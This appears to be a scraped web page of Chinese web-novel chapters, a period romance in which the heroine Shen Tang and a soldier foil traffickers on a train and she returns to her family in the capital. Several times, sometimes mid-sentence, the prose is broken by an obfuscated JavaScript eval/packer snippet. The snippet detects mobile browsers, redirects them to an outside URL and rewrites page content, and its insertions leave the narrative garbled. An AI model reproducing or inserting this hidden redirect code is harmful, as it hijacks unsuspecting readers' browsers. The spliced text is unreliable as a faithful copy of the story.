贺旭紧抿着薄唇,握紧了拳头。 “都给我让来!” 男人身高不高,只有一米六,没办法一个人挟制沈棠,便将沈棠交给了自家老婆,然后单手将刀抵在沈棠脖子上。 “让开,听见了没有,再靠近我就杀了这个女人。” 贺旭黑眸阴冷渗人,压住积在周身的戾气:“好,我们让开,你别伤害她。” 沈棠恐惧了一会儿,害怕情绪也渐渐平缓了些,这种情况她不能只想着哭,必须要找到机会躲过人贩子的刀,贺旭才能出手将她救回来。 “火车还有多久能停下来?”男人贩子着急的询问乘警。 乘警连忙安抚:“已经到站点了,您别着急。” 男人贩子注意到外面出现的站台,眼里闪过一丝欣喜:“那你们都给我退开三米远!” “火车空间就这么点大,三米远根本没办法退。”记者女人嘟囔了句。 这话被男人贩子听到,他眼睛一转,注意到周围人都穿的干净整洁,甚至连手上的沈棠都穿的是布拉吉裙子。 眼里顿时冒出贪婪:“把你们身上的钱都给我拿出来!” 乘警倒是拿的快,说自己是记者的女人却怒瞪了过去:“凭什么,我和这女人又不认识。” 贺旭脸色阴沉:“闭嘴!” 说完,他将身上带着的钱翻出来扔到男人贩子脚边。 男人贩子警惕的看了看四周乘警,低声对沈棠身后的女人说:“你来拿着刀子。” 沈棠听到这话,下意识看了一眼贺旭。 就在两人交换手中刀子之际,她一把抓住身后女人的手,让那刀子远离了自己脖子几分距离。 贺旭速度也快,见沈棠动手,瞬间冲到两个人贩子之中,一拳将男人贩子打到在地。 女人贩子看男人被他那一拳打的口吐鲜血,吓的大叫了一声柱子,还没反应过来,拿着刀子的手一痛,手腕硬生生的被扳断,怀里的人也被拉走。 乘警一拥而上,赶忙将俩个人贩子压制住。 贺旭抱着沈棠,轻声安抚:“没事了,别怕。” 沈棠身子还在发抖,一张脸惨白如纸,连哭都哭不出来了。 缓了好久才终于镇定下来,眼泪也没憋住,哭的身子一耸一耸,鼻子都红了。 乘警打开了尿素袋,里面果然有个两岁多的孩子。 孩子睫毛颤动,缓缓睁开眼睛,只是黑漆的瞳孔里没有丝毫情绪,几个乘警以为他吓着了,连声安抚,才让孩子稍微好转了些。 沈棠哭的泪眼汪汪,还忍不住往小孩的方向瞥了几眼。 别说,这孩子长的真可爱,就是太瘦了。 之前走错的门的夫妻连忙去抱乘警怀里的孩子,不忘感激沈棠和贺旭:“真是太谢谢你们了。” 贺旭将沈棠按在怀里没松手,余光看了一眼孩子的样貌和衣着,见那对夫妇要抱走孩子,忽的喊住了人:“等等,这个孩子真是你们的?” 乘警一听这话,刚准备交还孩子的动作立马收回。 “当然,刚刚就是我和我妻子报的警。”男人慈和的笑着。 旁边的女人一听也冷静下来了,没敢再心虚的咽口水。 自称记者的女人也在旁边帮腔:“这位同志,我知道你是军人,但你也不能污蔑人家,我刚刚已经问过这对夫妇了,这对夫妇正打算带着孩子在一下站宁城下车,孩子姓名年龄,人家都能说的一清二楚。” 男人见贺旭似乎不信,倒也没恼火,耐着心思解释:“军人同志,我知道你是好意,也知道你是看我家孩子太瘦了,才怀疑我。 但我也没办法,这孩子就是不爱吃窝窝头和粗粮,我家又不能顿顿吃白米饭,这才让他看起来比同龄孩子瘦弱,我们夫妇已经在想办法了。” 贺旭打量着他:“你家就这么一个孩子?” 男人点点头:“就这么一个,丢了之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211087|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后可把我们着急坏了。” 贺旭冷笑,他走到乘警旁边,卷起孩子上半身衣服,霎时间遍布孩子全身的疤痕展露而出,小小的一团缩在乘警怀里,颤栗的眨着懵懂纯洁的眸子。 众人惊呼一声,看那对夫妇的眼神顿时就变了。 这年头谁家有一个男娃不是紧着疼爱,怎么可能在只有一个孩子的情况下,将孩子打成这样! 这孩子说不定真不是这对夫妇的! “这对夫妇不仅男的有小肚腩,连女的身材也略显肥胖,衣服穿的整洁,还能买卧铺票,明显不缺钱财。 但这孩子养的这么瘦弱,身上还有长年积累的淤青,我怀疑这孩子是从小就被他们拐走,加以虐待,他们才会这么了解这个孩子!” 贺旭第一眼看到这对夫妇和孩子时就产生了怀疑。 这年头的孩子没几个不瘦,可孩子瘦成这样,大人却吃的肥壮,显然不对劲。 加上乘警抱孩子时,孩子无意间紧蹙眉头,像是被扯动了伤口,他才会阻止乘警将孩子交还给那对夫妇。 乘警一听,也觉得这对夫妇有问题,警惕的皱着眉:“到站了,两位还是一同和我们去派出所接受调查吧。” 这对夫妇中的男人心里素质很强大,只慌了一下很快就镇定了下来。 倒是那个女的,眼神闪烁不定,看起来就心虚的很。 贺旭看他们要离开,走到乘警面前交代了几句。 “孩子有极大可能不是他们的,如果他们不肯交代,可以从那女人身上下手。” 乘警十分感激:“好,感谢同志,祝你们一路顺风。” 事情解决,沈棠和贺旭回了包厢,许是因为刚刚的经历,自称记者的女人并没有跟着回来。 原本在包厢里的另一个男人也不知道去哪了。 整个软卧包厢安静的只听的到火车“哐哐”运行的轨道声。 沈棠扣着手指,目光在贺旭身上一瞥,忽的看见他后背隐隐透出点红色:“你受伤了?” 她想起刚刚贺旭飞奔过来救她,心里升起一股愧疚:“药在哪里,我帮你上药。” 贺旭紧抿着唇,居高临下的看着她,显然心情不太好。 第19章 要不,勾他一下? “沈棠,命是自己的,我作为外人不应该说你什么,但你也要想想那些疼爱你的家人,今天但凡你出点什么事,你的父母该多伤心,我也会自责一辈子。” 沈棠低垂着头咬了咬唇:“我当时是知道那个人贩子没那么快冲过来的,谁知道被人推了一把。” “救人没有错,错的是你为了一个并不认识、且本身就对你有敌意的人将自己陷入危险之中,的确,那个人贩子没那么快冲过来,可你也看到了,万事不能预料,在一件本身就有一定危险的事上,你没有绝对把握保证自己的安全,首先该做的便是远离它。” 沈棠没和他争辩。 如果搭把手就能救下一个人,她想很多人都会去搭。 谁也无法确定这一搭会不会将自己也陷入危险,更不确定会不会后悔。 经历过这一遭,她说不出遇到同样的事还会做同样的选择。 在人性面前,她无法大义。 贺旭知道她的纠结,心里一叹,这姑娘到底是心善。 他从包里拿出药膏和纱布,用壶子倒了些热水,一气呵成将身上的衬衫脱了下来。 沈棠一转身,入目的便是如磐石般壁垒分明的腹肌线条,坚实有力的倒三角隐于黑色皮带不见踪迹,诱的她狗狗祟祟的瞄了一眼,再瞄了一眼。 男人轻笑声,手臂一挥便将衬衫给扔在了床上,单手将她困在桌子旁,迎面而来的荷尔蒙气息让沈棠紧张的直咽口水。 她半垂着眼眸,望着他滚动的性感喉结,心里的小人扭成了麻花,根本合不拢嘴。 这就是穿越女必得的福利吗? 她喜欢! 要是有根链子挂在他的脖子,再印在他的胸膛上,就更完美了。 贺旭看着某个脸色发红的姑娘,从她身后拿走帕子:“想什么呢?不是要帮我换药,赶紧的。” 沈棠回过神来:“哦。” 她拿着药绕到贺旭后面,望着结实有力给人十足安全感的男人,心想自己反正要结婚,贺旭这么大个腹肌男摆在自己面前,为什么她之前就没考虑过呢? 哦,对,她以为他抠搜来着。 好像是她误会他了,买车票的钱他都没要过她的。 沈棠觉得自己对贺旭挺有好感的。 要不,勾他一下? 沈棠帮他上好药,又拿起纱布给他绑上,从后绕到身前时,特意装作自己够不到,抬起粉色的红唇,呼气如兰的气息铺撒在他的喉结上。 贺旭的眼神一下就变了,暗沉深邃,染上了点点欲望。 但很快,他便将人给拉开,拿过他手里的纱布捆绑好,神色淡淡:“好了,我先去把这些纱布给洗了。” 沈棠看他毫不留情的走开,心里失落至极。 这么暧昧的气氛下,男人还能面无表情的拉开自己,只能是他对自己没有意思。 好不容易鼓起的勇一下就气散了,沈棠尴尬的都不想见贺旭了。 贺旭在厕所洗了把脸,回想起刚刚那一幕,少女馨香无孔不入的钻入鼻尖,热气铺撒在他敏感的喉结上,只觉得整个人燥热的仿佛要烧了起来。 他伏在洗漱台上喘息,望着镜子连耳尖都在发春的男人,狠狠将心里那些龌龊心思给压了回去。 等再回到包厢时,沈棠早就爬上了上铺,另外两个人也已经回来了。 贺旭看见那差点害了沈棠的女人竟然毫无歉意的坐在桌子旁吃吃喝喝,眼眸里闪过一丝阴狠。 “还以为两位已经下站,原来你们也是去首都吗?” 贺旭五官生的硬朗帅气,唇角含笑的时候就像个贵族公子,温润的少年感给人极好靠近的感觉。 女人以为贺旭没有看见她推沈棠的那一幕,刚刚还有些歉疚的心情瞬间就好了。 “我们可都是人民日报社的记者,这次去海市出差而已。” 沈棠趴在毯子上翻着书,耳尖却竖的高高的,难怪能买到卧铺票,能在人民如报社工作的记者,背后的关系铁定硬。 “我看你一个新兵能买的起软卧票,家里应该不错吧?” “哪里,长辈疼爱妹妹,舍不得让她吃苦坐硬座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211088|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这句话显然是承认了家世不错。 “这样啊,那咱们很是有缘,我叫李芬,他叫农长耀,不知二位叫什么?” 沈棠听着贺旭和那女人相谈甚欢,不高兴的将被子一拉,转头睡觉去了。 她不认为贺旭能看上这女人,但贺旭刚拒绝了自己转头又和别的女人笑的开心,她心里多少有些不爽。 第三天火车终于抵达了首都。 贺旭刚想帮沈棠拿行李,就见小姑娘自己动手将所有东西收拾好,拿着箱子躲过了他的手。 “不用了,我还不至于弱到连这点东西都拿不了。” 贺旭眉头紧皱,不明白她好好的怎么冷着个脸。 下了站,李芬还不忘跟贺旭说让他来找她玩。 贺旭将她的消息打听的一清二楚,根本没有理她的意思,追着沈棠下了火车。 回来之前沈棠给家里打过电话,这会儿沈家的车子早就在火车站外等着了。 沈棠上辈子没来过首都,出 了火车站只能凭着脑海里的记忆找到沈家那辆来接她的车。 司机小赵打开车门:“沈小姐,快上车。” 转头见到贺旭长的这么人高马大,没忍住拍了拍他的肩膀:“你这小子,这么多年不回来,你爷爷成天气的骂你,这回好了,估计身家大事都得安排上。” 贺旭含着笑:“军队假少,老爷子有那么多孙子,哪会只惦记着我一个。” “话是这么说,可依我看,在贺家你爷爷还是最疼爱你。” 沈棠听着二人的话,瞥见贺旭那不达眼底的笑,才想起来贺家那些龌龊事。 贺老爷子年轻的时候祖辈殷实,十八岁按照父母的意思娶了一位同样祖辈殷实的妻子,生育了两儿一女,后来在战场上立下大功封了师长,听闻家乡被轰炸,妻儿皆死,便又娶了一位照顾他的貌美护士。 这护士也不是贺老爷子最后一任,她与贺老爷子只在一起生活了三年,之后因难产而逝世。 而她生的那个孩子,就是贺旭的父亲。 第20章 回沈家 贺老爷子虽然伤心,但也不耽搁别人给他介绍对象,一年后又再娶了一位,便是如今的这位贺老夫人,生有一儿一女。 就在国家抗战胜利之际,那个原本被炸死的妻子又活了过来,带着三个子嗣找到了贺老爷子。 贺老爷子给了一笔钱给原配,让她去贺家老家生活,奈何人家不愿意,只能安排她住在了首都。 也因此,原本还算平静的贺家开始了鸡飞狗跳的生活。 贺旭的父亲处在中间,前头三个哥哥姐姐没回来时,他还是很受宠的,也就养成了莽撞、不服从管教的性子。 对于贺老爷子安排的结婚对象他是一万个不满意。 偏偏贺老爷子就是看不上他那位初恋,逼得他娶了贺旭母亲。 两人生了贺旭后,贺爸迫不及待的就和贺母离了婚,把已经结了婚又死了丈夫的初恋娶了回来。 至于贺旭的母亲,沈棠没有多少关于她的记忆,也并不知道是个怎样的人。 反正贺旭在大院里是出了名的心狠手辣,惹到他可是往死里打。 年少的贺旭简直就是大院里的毒瘤,每个家长都要在自家孩子耳边提醒几句平日里不要惹他,他亲爸后妈也不管他,还是贺老爷子分了家,将他带在身边教导,大院里才平静下来。 原身记忆里仅有的几次遇见贺旭,是他闯了祸被贺爸绑在凳子上鞭打。 想到这里,沈棠抬眸看了一眼唇角含着笑的男人,俊俏的容颜和微慵的身姿仿佛从画里走出来的贵公子。 不知怎的,她心头冒出一个念头。 笑的真假。 贺旭察觉到沈棠的视线,疑惑的望过去,小姑娘浅褐色瞳眸映着他的身影,又面色清冷的收回视线,瞥向窗外风景。 他又哪里惹到她了? 一路无话,半个小时后,车终于进入了大院。 沈棠也开始紧张起来了。 她前世就是个孤儿,如今占了原身的身体,即将面对原身的家人,她总有些不自在。 汽车使过一排排青葱的树木,两侧整齐的绿化带整齐而亮眼,大院里的人穿着虽然简朴却比在大街上看到的更为靓丽。 车停在一处别墅前,入目的是一栅白色护栏。 沈棠下车按了下门铃,不多时就有人走了出来,为首的自然是沈母,只不过身后还跟着好几个亲戚。 贺旭看见沈家有客在,便将行李放在了门口,跟她说了声便回了贺家。 “是棠棠回来了?” 站在院子里的女人穿着一身白衬衫和旁开门裤子,笑的谄媚,眼睛还不忘扫向贺旭离开的方向。 “那是贺家那小子吧,别说当兵几年看着倒是没那么混了。” 沈棠从记忆里扒拉出这女人的身份,淡淡喊了声:“小姑。” 沈老爷子也娶了两个女人,前头的那个是沈棠的亲奶奶,只生了她爸一个。 后头的那个生了一对女儿,因为生产时伤了身子,沈老夫人生前对这个女儿极其疼爱,故而从小就被养的目中无人,嚣张跋扈。 平日里对她爸都是呼来喝去,对原身更是想骂就骂。 今天真是大阳打西边出来了,竟然会这么好好的跟她打招呼? 沈母对沈小姑显然没什么好脸色,见对方还想过来帮她拿行李,她神情冷淡的制止:“哪用的着小妹帮忙,棠棠这点行李我自己来就行了。 你大哥他今天有事不在家,小妹还是早点回去吧,免得又白跑一趟。” 沈萍脸色顿时变的愠怒,但想到如今有求人家,到底是没好发脾气。 “棠棠今天刚回来,大哥怎么会不在家?都是一家人,以往我有什么对不住大哥的地方我道歉,但小妹我也是真没办法了,难道大哥就要眼睁睁的看着文孝坐牢吗?” 沈母看着沈萍压着怒气句句指责他们的丑恶嘴脸,不客气的冷笑:“梁文孝坐牢那是他罪有应得,小妹平日里就看不起我们,这会儿怎么不去求二弟? 我记得他和梁文孝还是校友吧,堂堂木材厂厂长,手里的人脉应该比我们多多了。” 她话里嘲讽之意太明显,沈萍气急败坏的大喊了一声:“周蓉,你敢这样跟我说话?” 她以前逢人就炫耀自己的家世,炫耀二弟是个厂长。 但真出 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“在文工团怎么样,累不累?你嫂子今天买了你最喜欢吃的排骨,晚上给你做蒸排骨。” 沈棠以为自己不会习惯和原身亲人接触,可沈母的笑让她很是放松,就像是真的回到了家里似的,一路上想到的那些尴尬情绪都没有。 她腼腆的笑了笑:“还行,就是和宿舍里的人相处不好,可惜不能住小姨家。” 沈母是个极聪明的人,听到闺女这么一说就知道她心里在打算什么了。 “那咱们慢慢来,不能因为一点困难就退缩,凡事做之前都要将好与坏考虑清楚。” 沈棠听着母亲的教导,走入屋子,看到屋里黄色的木墙和白色的沙发,透明的厨房玻璃隐隐还能看到一个人在其中忙碌。 不知为何,一股熟悉感涌入心头。 没等她想起那熟悉的感觉是什么,二嫂已经从厨房里洗好了水果放到桌子上。 “呦,咱们家女兵回来了,瞧着怎么还瘦了,难道妈给你的钱又借给了何秋?” 这话有些讽刺,沈棠也想起了原身和二婶之间的矛盾。 第21章 你在军区里相亲了? 沈父一共三个儿子一个女儿。 大哥沈毅和妻子唐袅至今还在大荒北工作,两人生了一个儿子交给沈母带,上小学一年级,还没放学回家。 二哥沈杨和妻子童瑜是一个厂的,平时住在家里,生了一个女儿。 三哥沈刚中专毕业,参了军,被分配去了崖州海岛。 家里就二哥一家,沈母沈父偏疼沈棠,二嫂一开始有些意见也不敢当面提出。 多年相处后,知道沈棠是个性子软弱又糊涂的,从前的不甘变成了担忧,连教导自个闺女都是让她让着点这个姑姑。 偏偏原身一朝重生,死活要去海市的文工团,连平日里对她宠爱至极的沈母沈父也遭了她的冷脸。 二嫂看不过去,指着她的鼻子怒骂了一通,得知她还要带着何秋一起去,更是气的整天嘲讽原身。 因为这事,沈父还想狠狠斥责二哥沈杨,让他管好自己媳妇。 但沈母知道二婶没有坏心思,只是担心自家闺女被人卖了还数钱,便阻止了沈父。 可也因为这事,原身和二婶的关系冷到了冰点。 沈棠摇摇头:“没有,我把之前借给何秋的钱全要回来了,加手表六百块。” 童瑜双眸瞪大,震惊道:“你这是被夺魂了?我和妈平日里跟你说了千百遍何秋不是个好的,也没见你反思。” 沈棠虚心认错:“是我看走眼了。” 至于相亲的事,她觉得还是不要说了,二婶的确没有坏心思,但嘲讽起来的话也难听。 要是被她知道原身喜欢二婚带三娃的男人,指不定得拎着她的耳朵嘲笑好几天。 童瑜:“我不信,肯定发生了其他事。” 沈棠能认错,除非太阳打西边出来。 沈母将她的行李放到了房间,给她铺好床,走出来打断两人的谈话:“好了,棠棠坐火车肯定累了,让她歇歇再说。” 童瑜识趣的闭上嘴巴。 沈棠洗完澡回了房间,她的房间没有很大,但是位置极佳,阳光透过窗户折映在古朴的书架上,仿佛镀了层金光。 她擦着头发,正打算将东西整理一遍,抬头就瞧见不远处贺旭半倚靠在窗户前抽烟。 男人的军装早就换了下来,白色衬衫微敞着领口,即使隔了三四米远,她依旧能清晰的看到对方那精致性感的锁骨。 似乎是察觉到了她的视线,贺旭长睫微抬,清冷淡漠的眸光向她这边瞥来。 沈棠唰的一下就把窗帘给拉上了。 她拍了拍有些滚烫的脸,真是男色误人。 她擦干头发,刚想扎起来收拾行李,就发现发圈在洗澡的时候弄湿了。 想起柜子里有几个发圈,打开后柜子后,第一眼瞧见的是放在中间红色玻璃盒里的琥珀色手链。 真漂亮,原身从来没戴过,记忆里似乎并不喜欢这东西。 不过她还挺喜欢的。 沈棠拿出来戴在手上。 一觉好眠,她醒过来时已经到了傍晚。 下楼的时候正好看到沈老爷子正生气的拍着桌子。 “梁文孝挪用公款那是他梁家的事,但你妹妹是无辜的,难道你要看着你两个外甥流落街头吗?老子也不让你出多少钱,就把他们一家接回来住几天都不行吗?” 沈老爷子心里清楚梁文孝是救不回来了,但自己女儿自家疼,他这几天都不见沈萍,心里本来就觉得愧疚,自然不想让她在外被那些赌博的人欺上门。 沈父仍旧冷硬拒绝:“不行,我可以给小妹一家租个房子住,您也可以让她去二弟家,但唯独不能进我家住,她性子嚣张,连带着两个儿女也养的盛气凌人,棠棠从小就被他们欺负,你把他们接回来棠棠能开心吗?” 沈老爷子看到从楼上走来的孙女,气焰一下子就灭了。 棠棠小时候多活泼的一个小姑娘,就因为被沈萍那对儿女欺负,才变的性子软弱不敢说话。 因为这事,大儿子几乎把梁文孝揍了个半死,当着他的面把沈萍一对儿女轰了出去。 还直接告诫他,以后他要是想外孙,可以自己去梁家住,但他沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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棠棠当了兵,性子倒是和小时候有些像了,变的活泼也变的会说话了。 他都些招架不住了。 沈老爷子连忙去看沈父,后者眼不看为净,随手把看完的报纸叠好,严肃的看了她一眼。 “棠棠,听你小姨说,你在军区里相亲了?” 沈棠暗道不好。 第22章 抓小偷 下一刻她就听到沈老爷子和二嫂的尖锐声:“什么,你相亲了?” 沈老爷子:“你才多大你就相亲啊,你知道什么是结婚吗?果然不该让你去什么海市文工团,我看还是调回来吧,就算结婚那也得和知根知底的人结,万一嫁的不是好人,我们帮忙都没地帮去。” 沈棠耳边听着老爷子絮絮叨叨的话,虽然有些不自在,但被人关心的感觉确实很好。 沈父眼里带了笑意:“好了,快吃饭了,爸,你少说两句吧。” 沈老子子瞪过去:“……合着不是你提起的?” 怎么他就要少说两句? 那是他孙女,一辈子大事,万一和沈萍一样嫁给个样样不中用、还只会赌博的男人怎么办? “好了,先吃饭,我去那俩小的叫下来。”沈母端着饭菜出来,打断三人的话。 楼上的两个侄儿侄女下来,许久没见沈棠,两人热情的扒拉住了她的腿。 “姑姑,好久没见你,你去哪了?” 沈棠捏了捏大侄子沈希的脸:“姑姑去当兵了。” 小侄女沈梦抬着小脑袋:“和大伯三叔一样吗?那我们岂不是好久都见不到你了。” 大侄子一听眼泪就要掉了,沈棠忙慌着手脚安慰。 好在沈母及时出现,帮她安抚住了两个小孩。 下一瞬,她的目光停在了沈棠手链上,温柔的眼神好似变的复杂起来。 “棠棠不是不喜欢吗?” 沈棠疑惑:“喜欢啊,这是妈妈送我的礼物呢。” 记忆力沈母因为原身不喜欢这串手链,难过了好几天。 沈母伸出手摸了摸她的头,笑容温柔却又好似夹着点水光:“糖糖真乖。” 第二天,沈母下班,特意带着沈棠去百货大楼买衣衫。 沈棠其实不缺,但沈母说她的女儿一定要打扮的漂漂亮亮的,不能比别人差了。 她也不好拒绝沈母一片慈心,加上她也想买点玩具给两个侄子侄女,便坐在沈母的自行车上出了大院。 迎面遇到大院的人,沈母都会温柔的和众人打着招呼,看起来心情很不错。 “那不是沈棠吗?她怎么回来了?” 两个年轻的男人站在旁边,推了推前面那穿着蓝色工服绑着红卫兵袖章的男子。 郑霖立马朝前看去,坐在自行车后的姑娘长发披落在脑后,一身粉白色布拉吉裙子衬的她皮肤仿佛在发光,粉嫩的红唇勾着笑,一双如月色清冷的浅褐色瞳眸似琉璃珠子纯净,美的不可方物。 “应该是为了给沈老爷子祝寿。” 身后的男人给了他一个意味深长的眼神:“郑霖,你现在也是革委会的人了,上学的时候人家拒绝你,现在总不能吧,不然你面子往哪搁?” 沈母的自行车从他们面前驶过,郑霖迫不及待的扬起笑打招呼:“沈棠。” 沈棠听到声音,下意识的往那人看去,但并没有第一时间认出人。 只注意到了他们手臂上的红袖章。 “真漂亮,但她好像没认出咱们,郑霖,我看你得想想办法了,她回来就这点日子,要是再回海市,恐怕好几年都见不到了。” 郑霖听到身后小弟的话,心里也涌起一股不甘。 上学时沈棠便是学校出了名的高岭之花,前前后后多少人表白都被拒了,他也不例外。 以前有沈家在,他只能仰望着那如明月高洁不可攀的人,现在不同了。 他爸说过,沈家就要完蛋了。 郑霖眯了眯眼睛:“过两天正好是我生日,到时候我在华云饭店请大家吃饭,你们俩务必把咱们大院里的适龄子弟都给我请来。” 两个小弟对视一眼,笑着应下:“沈家不是还有一位姑娘喜欢你吗?从她下手,沈棠肯定会来。” 郑霖的父亲是革委会主任,权利极大,爱慕者也是众多,偏偏人家就喜欢清冷不可折的美人,送上门来的瞧都不瞧一眼。 也就是沈珍珍蠢,被他们耍的团团转。 — 沈棠头一次逛百货大楼,不像现代那般繁华,但东西齐全,样样都能买到。 沈母带着她往女装铺走,看到售货员左边压着一匹红色的布,立马就让售货员给拿出来瞧瞧。 这年头红色的布很难买,即使不是成衣,周围想买的人依旧很多,她摸了摸布料没多少犹豫就买了下来。 带着沈棠又买了几件漂亮的布拉吉连衣裙,知道她手上的上海牌手表没了,沈母也没有说什么,转头就给她再买了一只。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14211091|151093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 什么雪花膏、蛤蜊油、小皮鞋,沈母也是看到什么就买什么,大肆购买引得周围人频频相望。 沈棠好说好歹的制止也没用,手里塞了又塞,几乎塞不下了沈母才停下来,连给两个小侄子小侄女的玩具都是抽空买的。 逛完百货大楼,沈母带着沈棠来到一家做衣服的铺子,老板也是熟人,都不用给沈棠量身形,便让她选了成衣版型。 沈棠的衣服都是沈母一手操办的,穿在她身上有一种说不出的漂亮,这是因为沈母每次给她做衣服的时候,会专门提醒师傅哪里需要改动,哪里需要添一些花边。 做 衣服的铺子不大,里面堆满了杂物,沈母在里面选版型时,沈棠就站在门口看着。 忽然,她猛的被人撞了一下,手里的包瞬间被抢走。 沈棠顾不得自己摔在地上,大喊了一声:“抓小偷啊!” 这时,一个穿着军装的男人猛的冲了上去。 沈母急忙出来,心疼的扶起沈棠:“糖糖,摔疼了吗?我先带你去医院。” “我没事,妈妈,包被抢了。” 沈棠眼眶一红,眼泪忍不住从眼眶滴落,包是沈母的,她早上亲眼看着沈母放了不少钱进去。 想到因为自己弄丢了那么多钱,她就急的不行。 沈棠手肘和膝盖都擦出血了,看着就严重,沈母哪里还顾得上包。 “好了,丢了就丢了,我先带你去医院。” 沈母把自行车取来,还没行动,就见刚刚冲去抓小偷的军人一手提着小偷一手拿着她的包回来了。 沈棠满是惊喜:“同志,真是太谢谢你了。” 男人皮肤呈小麦色,身材高大,五官端正,步伐坚挺,端看着便是个正人君子。 他将包还给沈母,看了沈棠一眼,微微点了下头:“还请两位去附近派出所报个警。” 派出所就在附近,三人报了警将小偷关押后,沈母连声跟那位军人道谢。 对方似乎有事,出了派出所就离开了。 出门一趟,遇到了这种倒霉事,沈母和沈棠没了逛街的心情,带着沈棠回了家上药。 回了沈家才发现,沈二叔一家竟然来了沈家,身后还跟着沈萍,估计又是来找沈老爷子的。 第23章 让沈棠嫁给乡下人家 沈老爷子正生着气,指着沈萍怒骂:“蠢货、真他娘是个蠢货,梁文孝出了这种事,你不想着怎么和他离婚,免得牵连你两个孩子,你还想着怎么把你大哥二哥牵扯进去,我怎么生了你这么个蠢货!” 沈二叔开口:“爸,我……” “你也闭嘴,我当初就说姓梁的那小子不是个好人,你妹妹有今天,都是你害的!” 沈老爷子气的心口疼,沈萍在旁边也哭的梨花带雨。 “爸,你就救救文孝吧,他只是被人算计了。” 沈老爷子:“你再为他求情,就给我滚出去!” 沈萍呜咽哭着,目光期期艾艾望向沈越,可惜刚被训斥过的沈二叔根本不敢再提求情之事。 直到沈棠被沈母搀扶着回来,紧张的气氛才被打破。 “这是怎么了,出门一趟怎么弄成这样?”沈老爷子看到沈棠身上的伤口,立马就坐不住了。 沈棠软声安抚:“摔了一跤,没什么事,就是磕破了点皮,爷爷你也别老是生气,对身子不好。” 她记得沈老爷子身子不好,上辈子就是被气到吐血而亡的。 沈老爷子哼了声:“儿女不孝,不气才怪,先上药,让你二嫂扶着你一点,上楼别再磕了。” 沈母扶着沈棠上楼。 沈老爷子扫了一眼众人:“你们也给我滚!” 沈萍看到这一幕眼里闪烁着恨意,妈在世的时候,老爷子对她最是疼爱,要不是她两个儿女欺负沈棠时被看见,她也不会被老爷子厌恶。 既然爸不帮忙,那就别怪她自己谋生路了。 想到自己刚得到的消息,她抬头看向还在看好戏的沈二嫂。 出了沈家大门,沈二嫂昂着脑袋就要去上车。 沈萍叫住她:“二嫂,你先等等,我有个事要跟你说。” 沈二嫂轻蔑的斜睨了她一眼:“要是想找你二哥帮你说情的话,就算了吧,你二哥已经帮过你了,爸他就是不松口,我们也没办法。” 沈萍勾了勾唇角:“不是这个事,是关于你女儿沈珍珍的婚姻大事。” 沈二嫂拧紧眉,她生了三个女儿,大女儿是沈珍珍和小儿子沈辰都是她的心头肉,沈珍珍比沈棠大一岁,但和沈棠一样也是今年才高中毕业。 毕业之后就去了木材厂里当会计,她介绍了好几个不错的小伙给女儿认识,偏她只喜欢郑家那小子,从不去相亲,为此她没少担心。 沈萍凑近她,低声说道:“二嫂应该不知道,我爸曾和乡下一户人家给小辈们定下过一门亲事,只是多年过去,那户人家没找来,所以我爸也就忘了。 可最近我得到一个消息,那户人家的二子年岁二十六了还没成亲,来了京城,正在打听沈家消息呢。 我爸这个人二嫂也知道,最是重承诺了,珍珍比沈棠大一岁,到时候珍珍肯定是我爸第一人选。” 沈二嫂脸色变了变:“三妹想要什么,要是救梁文孝,我和你二哥可没这个能力。” 沈萍当然知道,不然也不会天天上大哥家求情。 “给我些钱,我让人拖住那农村小子,珍珍在这期间尽快找到对象,那么这人选就只能落到沈棠身上了。” 沈二嫂二女儿才十七,还没成年,打不了结婚证,那农村小子能找到沈家来,野心不小,肯定急着和成亲以此来攀上沈家呢。 沈二嫂想清楚事,亲切的拉住沈萍的手:“好妹妹,那明天你来木材厂大院找我,咱们好好商议一下。” 沈萍心里嗤笑,但面上还是给足了沈二嫂面子。 两人达成协议,各回各家。 沈棠这边也上好了药,一连两天都在家里背着歌曲词,她并没有按照一比一还原去仿唱,李团长有意让她在国庆演出上独唱,她想改动点歌曲音调,融入一点属于她的风格。 沈珍珍来找她的时候,一眼就瞧见了沈棠穿着白色布拉裙站在二楼走廊边,微卷的长发随风扬起,满堂霞光和青葱树木将她勾勒成了一幅画。 她眼里闪过一丝嫉妒,有那么一瞬间她根本不想带她去参加郑霖的生日宴。 可想到王浩跟她说的,这次宴会邀请了大院所有适龄子弟,沈棠要 